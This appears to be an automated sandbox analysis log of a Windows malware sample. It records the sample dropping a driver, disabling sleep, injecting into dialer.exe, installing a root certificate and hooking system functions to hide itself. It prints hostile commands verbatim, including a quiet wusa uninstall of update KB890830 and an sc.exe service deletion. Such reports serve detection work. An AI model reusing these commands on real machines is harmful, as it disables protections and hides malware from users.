Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll

Source: C:\Windows\System32\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: file.exe

Static file information: File size 2867712 > 1048576

Source: file.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x2b1e00

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\wct42C5.tmp.pdb source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: svchost.exe, 00000033.00000000.2173514506.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3368381949.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: $@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\wct4B1.tmpp.pdb source: svchost.exe, 00000033.00000000.2173514506.0000024B87641000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3368381949.0000024B87641000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wct42C5.tmp.pdb source: svchost.exe, 00000033.00000000.2173514506.0000024B87641000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3368381949.0000024B87641000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: +@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000033.00000000.2173436542.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3367839566.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000033.00000000.2173514506.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3368381949.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000033.00000000.2173514506.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3368381949.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: driver.exe, 0000001A.00000003.2145145649.000001F307E70000.00000004.00000001.00020000.00000000.sdmp, ftnvuqwjtdwb.sys.26.dr
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorb source: svchost.exe, 00000033.00000000.2173436542.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3367839566.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb* source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000033.00000000.2173436542.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3367839566.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ~1.PDB @ source: svchost.exe, 00000033.00000000.2173514506.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3368381949.0000024B8764A000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000033.00000000.2173436542.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000002.3367839566.0000024B8762B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wct4B1.tmpp.pdb source: svchost.exe, 00000033.00000002.3369152171.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.2173615180.0000024B8765A000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\System32\dialer.exe

Code function: 45_2_00000001408460F0 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

45_2_00000001408460F0

Source: file.exe	Static PE information: section name: .00cfg
Source: driver.exe.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF749F41394 push qword ptr [00007FF749F4B004h]; ret	0_2_00007FF749F41403
Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E85896ACDD push rcx; retf 003Fh	21_2_000001E85896ACDE
Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E85899C6DD push rcx; retf 003Fh	21_2_000001E85899C6DE
Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E8589CACDD push rcx; retf 003Fh	21_2_000001E8589CACDE
Source: C:\ProgramData\IGaming\driver.exe	Code function: 26_2_00007FF7F4F21394 push qword ptr [00007FF7F4F2B004h]; ret	26_2_00007FF7F4F21403
Source: C:\Windows\System32\lsass.exe	Code function: 27_2_00000140ADFDACDD push rcx; retf 003Fh	27_2_00000140ADFDACDE
Source: C:\Windows\System32\lsass.exe	Code function: 27_2_00000140AE87C6DD push rcx; retf 003Fh	27_2_00000140AE87C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000195DD5AACDD push rcx; retf 003Fh	30_2_00000195DD5AACDE
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000195DD5DC6DD push rcx; retf 003Fh	30_2_00000195DD5DC6DE
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000001160C9FACDD push rcx; retf 003Fh	31_2_000001160C9FACDE
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000001160CA2C6DD push rcx; retf 003Fh	31_2_000001160CA2C6DE
Source: C:\Windows\System32\dialer.exe	Code function: 44_2_0000000140001394 push qword ptr [0000000140008004h]; ret	44_2_0000000140001403
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000257E108ACDD push rcx; retf 003Fh	46_2_00000257E108ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000257E10BC6DD push rcx; retf 003Fh	46_2_00000257E10BC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001F28C1EACDD push rcx; retf 003Fh	47_2_000001F28C1EACDE
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001F28C94C6DD push rcx; retf 003Fh	47_2_000001F28C94C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_000001CA97FEACDD push rcx; retf 003Fh	48_2_000001CA97FEACDE
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_000001CA9855C6DD push rcx; retf 003Fh	48_2_000001CA9855C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001D2652FACDD push rcx; retf 003Fh	49_2_000001D2652FACDE
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001D26532C6DD push rcx; retf 003Fh	49_2_000001D26532C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_00000254A27EC6DD push rcx; retf 003Fh	50_2_00000254A27EC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_0000024B87DEC6DD push rcx; retf 003Fh	51_2_0000024B87DEC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000205FB3DACDD push rcx; retf 003Fh	52_2_00000205FB3DACDE
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000205FD41C6DD push rcx; retf 003Fh	52_2_00000205FD41C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001A2056BC6DD push rcx; retf 003Fh	53_2_000001A2056BC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000018EC1F4ACDD push rcx; retf 003Fh	54_2_0000018EC1F4ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000018EC1F7C6DD push rcx; retf 003Fh	54_2_0000018EC1F7C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_0000025CE3BDACDD push rcx; retf 003Fh	55_2_0000025CE3BDACDE
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_0000025CE3E1C6DD push rcx; retf 003Fh	55_2_0000025CE3E1C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000002623896ACDD push rcx; retf 003Fh	56_2_000002623896ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000002623899C6DD push rcx; retf 003Fh	56_2_000002623899C6DE

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior
Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior

Sample is not signed and drops a device driver

Source: C:\ProgramData\IGaming\driver.exe

File created: C:\Windows\TEMP\ftnvuqwjtdwb.sys

Jump to behavior

Source: C:\ProgramData\IGaming\driver.exe	File created: C:\Windows\Temp\ftnvuqwjtdwb.sys			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\IGaming\driver.exe			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\ProgramData\IGaming\driver.exe

Jump to dropped file

Source: C:\ProgramData\IGaming\driver.exe

File created: C:\Windows\Temp\ftnvuqwjtdwb.sys

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "LightService"

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: winlogon.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Modifies the prolog of user mode functions (user mode inline hooks)

Source: winlogon.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Windows\System32\lsass.exe

